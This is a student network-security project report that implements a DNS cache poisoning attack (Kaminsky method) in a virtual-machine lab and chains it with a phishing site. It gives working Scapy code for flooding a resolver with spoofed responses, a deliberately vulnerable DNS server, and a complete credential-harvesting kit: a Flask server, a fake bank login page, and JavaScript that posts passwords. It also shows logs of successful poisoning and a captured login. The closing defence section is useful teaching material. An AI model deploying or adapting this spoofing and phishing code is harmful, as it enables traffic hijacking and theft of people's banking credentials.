DNS Cache Poisoning Attack Integrated with Phishing

A Comprehensive Analysis and Implementation

CSE-406 Network Security Project

July 27, 2025

Contents

1 Executive Summary

This report presents a comprehensive analysis and implementation of a DNS cache poisoning attack integrated with a phishing campaign. The project demonstrates how attackers can exploit vulnerabilities in DNS infrastructure to redirect victims to malicious websites that steal their credentials. The attack combines the Kaminsky DNS cache poisoning technique with a sophisticated phishing operation targeting banking credentials.

The implementation utilizes three virtual machines in a controlled laboratory environment: an attacker machine (10.0.0.10), a vulnerable DNS server (10.0.0.53), and a router (10.0.0.1). The attack successfully poisons the DNS cache to redirect victims from legitimate banking domains to a fake phishing site, where credentials are captured and logged.

2 Introduction

2.1 Project Objectives

The primary objectives of this project are:

1. Understand the theoretical foundations of DNS cache poisoning attacks
2. Implement the Kaminsky attack methodology in a controlled environment
3. Develop a realistic phishing website to capture user credentials
4. Integrate DNS poisoning with phishing to create a complete attack scenario
5. Analyze the effectiveness and detection mechanisms for such attacks

2.2 Scope and Limitations

This project is conducted in a controlled laboratory environment using virtual machines. All attacks are performed for educational purposes only, demonstrating security vulnerabilities and the importance of proper DNS security measures.

3 Theoretical Background

3.1 DNS Cache Poisoning Theory

DNS cache poisoning is a sophisticated attack that exploits fundamental weaknesses in the Domain Name System protocol. The attack works by injecting malicious DNS records into a DNS resolver's cache, causing legitimate domain queries to resolve to attacker-controlled IP addresses.

3.1.1 DNS Protocol Fundamentals

The DNS protocol operates using a query-response mechanism where:

- Clients send DNS queries with unique Transaction IDs (TXID)

- DNS resolvers forward queries to authoritative nameservers
- Responses must match the original TXID to be accepted
- Cached responses reduce subsequent query latency

3.1.2 The Kaminsky Attack

Developed by Dan Kaminsky in 2008, this attack exploits the predictable nature of DNS transaction IDs and port numbers. The attack mechanism involves:

1. **Query Generation**: Attacker sends queries for random subdomains
2. **Response Racing**: Flood the resolver with spoofed responses
3. **Cache Pollution**: Successfully inject malicious NS records
4. **Domain Hijacking**: Control resolution for the entire domain

The mathematical probability of success depends on:

$$P_{success} = \frac{N_{spoofed}}{N_{possible\_txids} \times N_{possible\_ports}}$$

Where modern DNS implementations use 16-bit TXIDs (65,536 possibilities) and random source ports (approximately 32,000 possibilities).

3.2 Phishing Attack Theory

Phishing attacks exploit human psychology and trust relationships to steal sensitive information. The attack typically involves:

- **Deception**: Creating convincing replicas of legitimate websites
- **Social Engineering**: Exploiting user trust and urgency
- **Credential Harvesting**: Capturing login credentials and personal data
- **Identity Theft**: Using stolen credentials for malicious purposes

3.2.1 Integration with DNS Poisoning

Combining DNS cache poisoning with phishing creates a powerful attack vector:

1. DNS poisoning redirects legitimate domain queries
2. Users automatically navigate to malicious websites
3. No obvious indicators of compromise (correct domain name)
4. Higher success rate compared to traditional phishing emails

4 Laboratory Environment Setup

4.1 Network Topology

The laboratory environment consists of three Kali Linux virtual machines configured with the following network topology:

```
    Internet (8.8.8.8)
          |
    [Router VM - 10.0.0.1]
          |
    Internal Network (10.0.0.0/24)
          |
    +-----+-----+
    |           |
[DNS Server]  [Attacker]
10.0.0.53     10.0.0.10
```

Figure 1: Laboratory Network Topology

4.2 Virtual Machine Configuration

4.2.1 Router Configuration (10.0.0.1)

The router VM handles packet forwarding and NAT translation:

```
# Enable IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configure iptables for NAT
sudo iptables -t nat -A POSTROUTING -o eth2 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

# Save configuration permanently
sudo iptables-save | sudo tee /etc/iptables/rules.v4
```

Listing 1: Router IP Forwarding Configuration

4.2.2 DNS Server Configuration (10.0.0.53)

The DNS server is intentionally configured with vulnerabilities to demonstrate the attack:

- Disabled port randomization (fixed port 53)
- Limited transaction ID range (1-50)
- Vulnerable caching mechanisms
- Forwarding to Google DNS (8.8.8.8)

4.2.3 Attacker Configuration (10.0.0.10)

The attacker machine hosts both the DNS poisoning tools and the phishing website.

5 Implementation Details

5.1 Custom DNS Server Implementation

A custom DNS server was developed to simulate a vulnerable DNS resolver with specific weaknesses:

```python
class CustomDNSServer:
    def __init__(self, bind_ip="0.0.0.0", bind_port=53,
                 forwarder="8.8.8.8", attack_delay=0.1):
        self.bind_ip = bind_ip
        self.bind_port = bind_port
        self.forwarder = forwarder
        self.attack_delay = attack_delay

        # Vulnerable configuration
        self.cache = {}  # Simple cache without security checks
        self.pending_queries = {}  # Track forwarded queries
        self.original_txids = {}  # Map client TXIDs

        # Create socket
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.socket.bind((self.bind_ip, self.bind_port))
```

Listing 2: Custom DNS Server - Main Class Structure

5.1.1 Vulnerable Transaction ID Generation

The DNS server uses a predictable TXID generation mechanism:

```python
def get_forwarded_txid(self, dns_packet, forwarder):
    """Generate predictable txid for forwarding (VULNERABLE)"""
    import random
    # Predictable seed based on original TXID
    random.seed(hash(dns_packet.id) % 1000)
    txid = random.randint(1, 5)  # Very limited range!
    random.seed()  # Reset seed
    return txid
```

Listing 3: Vulnerable TXID Generation

5.1.2 Cache Poisoning Vulnerability

The server accepts spoofed responses without proper validation:

```python
def handle_response(self, dns_packet, source_ip):
    """Handle DNS responses (vulnerable to spoofing)"""
    try:
        txid = dns_packet.id

        if txid in self.pending_queries:
            query_name, client_addr = self.pending_queries[txid]
```

```

            # VULNERABILITY: Accept any response with matching TXID
            if dns_packet.an and dns_packet.an.rdata:
                rdata = dns_packet.an.rdata

                # Check if this is a spoofed response (attacker IP)
                if str(rdata) == "10.0.0.10":
                    print("[CAPTURE] *** SPOOFED RESPONSE DETECTED ***")

                    # Cache the malicious record
                    cache_key = f"{query_name}:1"
                    self.cache[cache_key] = (str(rdata), time.time())

                    # Also poison the main domain
                    if '.' in query_name:
                        main_domain = query_name.split('.', 1)[1]
                        main_cache_key = f"{main_domain}:1"
                        self.cache[main_cache_key] = (str(rdata), time.time())
                        print(f"[POISON] Main domain cached: {main_domain} -> {rdata}")
```

Listing 4: Vulnerable Response Handling

5.2 DNS Cache Poisoning Attack Implementation

The attack script implements the Kaminsky methodology with realistic transaction ID randomization:

```
def run_attack(resolver_ip, attacker_ip, real_ns_ip, target_domain,
               num_requests, num_responses):
    """Execute Kaminsky-style DNS cache poisoning attack"""

    # Generate random subdomain to trigger fresh queries
    random_subdomain = str(random.randint(10000, 99999)) + "." + target_domain
    fake_ns_domain = "ns.attacker-lab.com"

    print(f"[*] Using random subdomain: {random_subdomain}")

    # Phase 1: Send legitimate queries to trigger DNS resolution
    print(f"[*] Sending {num_requests} initial queries...")
    for i in range(num_requests):
        txid = random.randint(0, 65535)  # Full TXID range for queries
        src_port = random.randint(1024, 65535)  # Random source port

        query_packet = IP(dst=resolver_ip) / \
                       UDP(sport=src_port, dport=53) / \
                       DNS(id=txid, rd=1, qd=DNSQR(qname=random_subdomain))
        send(query_packet)

    # Phase 2: Flood with spoofed responses
    dns_payload = DNS(
        qr=1, aa=1,  # Response, Authoritative
        qd=DNSQR(qname=random_subdomain),
```

```
        an=DNSRR(rrname=random_subdomain, ttl=86400, rdata=attacker_ip)
    ,
        ns=DNSRR(rrname=target_domain, type='NS', ttl=86400,
                 rdata=fake_ns_domain),
        ar=DNSRR(rrname=fake_ns_domain, ttl=86400, rdata=attacker_ip)
    )

    print(f"[*] Flooding with {num_responses} spoofed responses...")
    spoof_responses(resolver_ip, real_ns_ip, dns_payload, num_responses
    )
```

Listing 5: Main Attack Function

5.2.1 Realistic Transaction ID Strategy

Instead of sequential TXIDs, the attack uses realistic randomization:

```
def spoof_worker(args):
    """Worker process for sending spoofed responses"""
    resolver_ip, real_ns_ip, dns_payload, num_packets = args

    for i in range(num_packets):
        # Realistic TXID range (1-50) based on vulnerable server
        txid = random.randint(1, 50)

        packet = IP(src=real_ns_ip, dst=resolver_ip) / \
                 UDP(sport=53, dport=53) / \
                 dns_payload
        packet[DNS].id = txid
        send(packet)

        if i % 1000 == 0:
            print(f"[SPOOF] Sent {i+1}/{num_packets}: txid={txid}")
```

Listing 6: Realistic TXID Generation for Spoofed Responses

5.3 Phishing Website Implementation

5.3.1 Backend Server

A Flask-based web server hosts the phishing site and captures credentials:

```
from flask import Flask, render_template, request, jsonify
from flask_cors import CORS
import datetime
import json

app = Flask(__name__)
CORS(app)  # Enable cross-origin requests

captured_credentials = []

@app.route('/')
def index():
    """Serve the fake banking login page"""
    return render_template('index.html')

@app.route('/capture', methods=['POST'])
```

```python
def capture_credentials():
    """Capture and log stolen credentials"""
    try:
        data = request.get_json()

        username = data.get('username', '')
        password = data.get('password', '')
        timestamp = data.get('timestamp', '')
        user_agent = data.get('userAgent', '')

        credential_entry = {
            'username': username,
            'password': password,
            'timestamp': timestamp,
            'user_agent': user_agent,
            'ip_address': request.remote_addr,
            'capture_time': datetime.datetime.now().isoformat()
        }

        captured_credentials.append(credential_entry)

        # Log credentials to console
        print("\n" + "="*60)
        print("        CREDENTIALS CAPTURED!        ")
        print("="*60)
        print(f"Username: {username}")
        print(f"Password: {password}")
        print(f"IP Address: {request.remote_addr}")
        print(f"User Agent: {user_agent}")
        print("="*60 + "\n")

        # Save to file
        save_credentials_to_file(credential_entry)

        return jsonify({'success': True, 'message': 'Login successful'
    })

    except Exception as e:
        print(f"[-] Error capturing credentials: {e}")
        return jsonify({'success': False, 'message': 'Login failed'})

if __name__ == '__main__':
    print("[+] Phishing server starting on port 8080...")
    app.run(host='0.0.0.0', port=8080, debug=False)
```

Listing 7: Phishing Server Implementation

5.3.2 Frontend Design

The phishing page replicates a legitimate banking website:

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale
    =1.0">
    <title>My Lab Bank - Secure Login</title>
```

```
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            margin: 0;
            padding: 20px;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 400px;
        }

        .logo {
            text-align: center;
            margin-bottom: 30px;
        }

        .logo h1 {
            color: #333;
            margin: 0;
            font-size: 28px;
            font-weight: 300;
        }
        /* ... additional CSS ... */
    </style>
</head>
<body>
    <div class="login-container">
        <div class="logo">
            <h1>        My Lab Bank</h1>
            <p>Secure Online Banking</p>
        </div>

        <form id="login-form">
            <div class="form-group">
                <label for="username">Username</label>
                <input type="text" id="username" name="username" required>
            </div>

            <div class="form-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
            </div>

```

```
            <button type="submit" class="login-btn">Sign In Securely</button>
        </form>

        <div id="success-msg" class="message success" style="display: none;">
                Login successful! Redirecting...
        </div>

        <div id="error-msg" class="message error" style="display: none;">
                Invalid credentials. Please try again.
        </div>
    </div>
```

Listing 8: Phishing Page HTML Structure

5.3.3 Credential Capture JavaScript

Advanced JavaScript handles form submission and credential transmission:

```
document.addEventListener('DOMContentLoaded', function() {
    const form = document.getElementById('login-form');

    form.addEventListener('submit', function(e) {
        e.preventDefault();  // Prevent normal form submission

        const username = document.getElementById('username').value;
        const password = document.getElementById('password').value;

        if (!username || !password) {
            showError('Please enter both username and password');
            return;
        }

        // Prepare credential data
        const requestData = {
            username: username,
            password: password,
            timestamp: new Date().toISOString(),
            userAgent: navigator.userAgent,
            referrer: document.referrer
        };

        // Send credentials to attacker server
        fetch('/capture', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(requestData)
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                showSuccess('Login successful!');
                // Clear form
                document.getElementById('username').value = '';
```

```
                document.getElementById('password').value = '';
            } else {
                showError('Login failed. Please try again.');
            }
        })
        .catch(error => {
            console.error('Error:', error);
            showError('Connection error. Please try again.');
        });
    });
});
```

Listing 9: Credential Capture JavaScript

6 Attack Execution and Analysis

6.1 Attack Workflow

The complete attack follows this sequence:

1. **Environment Setup**: Configure vulnerable DNS server and phishing site
2. **DNS Poisoning**: Execute Kaminsky attack to poison DNS cache
3. **Verification**: Confirm successful cache poisoning
4. **Victim Simulation**: User attempts to access legitimate banking site
5. **Credential Capture**: Phishing site captures login credentials
6. **Data Exfiltration**: Stolen credentials logged and stored

6.2 Attack Execution Results

6.2.1 DNS Cache Poisoning Success

The attack successfully poisoned the DNS cache:

```
[*] --- Attempt #1 of 100 ---
[*] Using random subdomain: 73263.my-lab-bank.com
[*] Sending 10 initial queries...
[QUERY] Sent 1/10: txid=10167, src_port=40893

[*] Flooding with 1000 spoofed responses (random txid 1-50)...
[SPOOF] Sent 1/250: txid=23
[SPOOF] Sent 1/250: txid=7
[SPOOF] Sent 1/250: txid=45

[CAPTURE] *** SPOOFED RESPONSE DETECTED ***
[POISON] Main domain cached: my-lab-bank.com -> 10.0.0.10

[*] Verifying attack...
[SUCCESS] DNS cache poisoned! my-lab-bank.com -> 10.0.0.10
```

Listing 10: DNS Poisoning Success Log

6.2.2 Credential Capture Results

The phishing attack successfully captured user credentials:

```
============================================================
       CREDENTIALS CAPTURED!
============================================================
Username: john.doe@email.com
Password: MySecretPassword123
IP Address: 10.0.0.1
User Agent: Mozilla/5.0 (X11; Linux x86_64) Firefox/91.0
Timestamp: 2025-01-26T15:30:45.123Z
============================================================
Total credentials captured: 1
============================================================
```

Listing 11: Credential Capture Log

6.3 Network Traffic Analysis

6.3.1 DNS Query Analysis

tcpdump analysis reveals the attack traffic patterns:

```
# Legitimate query from victim
10.0.0.10.40893 > 10.0.0.53.53: DNS A? my-lab-bank.com. (33)

# DNS server forwards query
10.0.0.53.33713 > 8.8.8.8.53: DNS A? my-lab-bank.com. (33)

# Spoofed responses flood
8.8.8.8.53 > 10.0.0.53.53: DNS response A my-lab-bank.com. -> 10.0.0.10
8.8.8.8.53 > 10.0.0.53.53: DNS response A my-lab-bank.com. -> 10.0.0.10
8.8.8.8.53 > 10.0.0.53.53: DNS response A my-lab-bank.com. -> 10.0.0.10

# Poisoned response to victim
10.0.0.53.53 > 10.0.0.10.40893: DNS A my-lab-bank.com. -> 10.0.0.10
```

Listing 12: DNS Traffic Analysis

7 Security Implications and Countermeasures

7.1 Attack Impact Assessment

The successful implementation demonstrates several critical security implications:

- **Complete Domain Hijacking**: Attackers gain control over domain resolution
- **Transparent Attack Vector**: Users see legitimate domain names
- **Credential Theft**: Banking and sensitive credentials compromised
- **Persistent Attack**: Cache poisoning persists until TTL expiration
- **Scale Potential**: Attack can target multiple domains simultaneously

7.2 Defense Mechanisms

7.2.1 DNS Security Enhancements

1. **DNSSEC Implementation**: Cryptographic validation of DNS responses
2. **Source Port Randomization**: Increase transaction ID entropy
3. **Query ID Randomization**: Use full 16-bit transaction ID space
4. **Response Validation**: Implement additional response verification

7.2.2 Network Security Measures

```
# Enable DNSSEC validation
echo "DNSSEC=yes" >> /etc/systemd/resolved.conf

# Configure secure DNS servers
echo "nameserver 1.1.1.1" > /etc/resolv.conf
echo "nameserver 9.9.9.9" >> /etc/resolv.conf

# Firewall rules for DNS traffic
iptables -A INPUT -p udp --dport 53 -m state --state ESTABLISHED -j
    ACCEPT
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -
    j ACCEPT
```

Listing 13: DNS Security Configuration

7.2.3 User Education and Awareness

- SSL/TLS certificate verification training
- Multi-factor authentication implementation
- Regular security awareness programs
- Incident reporting procedures

8 Conclusion

This project successfully demonstrated the integration of DNS cache poisoning with phishing attacks, creating a powerful and realistic attack vector. The implementation revealed critical vulnerabilities in DNS infrastructure and highlighted the importance of comprehensive security measures.

8.1 Key Findings

1. DNS cache poisoning remains a viable attack against poorly configured systems
2. Integration with phishing significantly increases attack success rates
3. User education alone is insufficient against sophisticated attacks
4. Technical countermeasures must be implemented at multiple network layers

8.2 Recommendations

1. Implement DNSSEC across all DNS infrastructure
2. Deploy advanced threat detection systems
3. Conduct regular security audits and penetration testing
4. Establish comprehensive incident response procedures
5. Invest in continuous security education programs

8.3 Future Work

Future research directions include:

- Advanced evasion techniques against modern DNS security
- Machine learning approaches for attack detection
- Analysis of DNS-over-HTTPS (DoH) security implications
- Development of automated defense systems

9 References

1. Kaminsky, D. (2008). "It's The End Of The Cache As We Know It." Black Hat USA 2008.
2. Mockapetris, P. (1987). "Domain names - implementation and specification." RFC 1035.
3. Arends, R., et al. (2005). "DNS Security Introduction and Requirements." RFC 4033.
4. Dagon, D., et al. (2008). "Increased DNS forgery resistance through 0x20-bit encoding." ACM CCS 2008.
5. Herzberg, A., & Shulman, H. (2013). "Socket overloading for fun and cache-poisoning." ACM ACSAC 2013.

A Code Repository

The complete source code for this project is available in the accompanying files:

- `attack.py` - DNS cache poisoning implementation
- `phishing_site/server.py` - Phishing web server
- `phishing_site/index.html` - Phishing webpage
- `custom_dns_server.py` - Vulnerable DNS server

B Network Configuration Details

Detailed network configuration files and scripts used in the laboratory setup are provided for reproducibility and further research.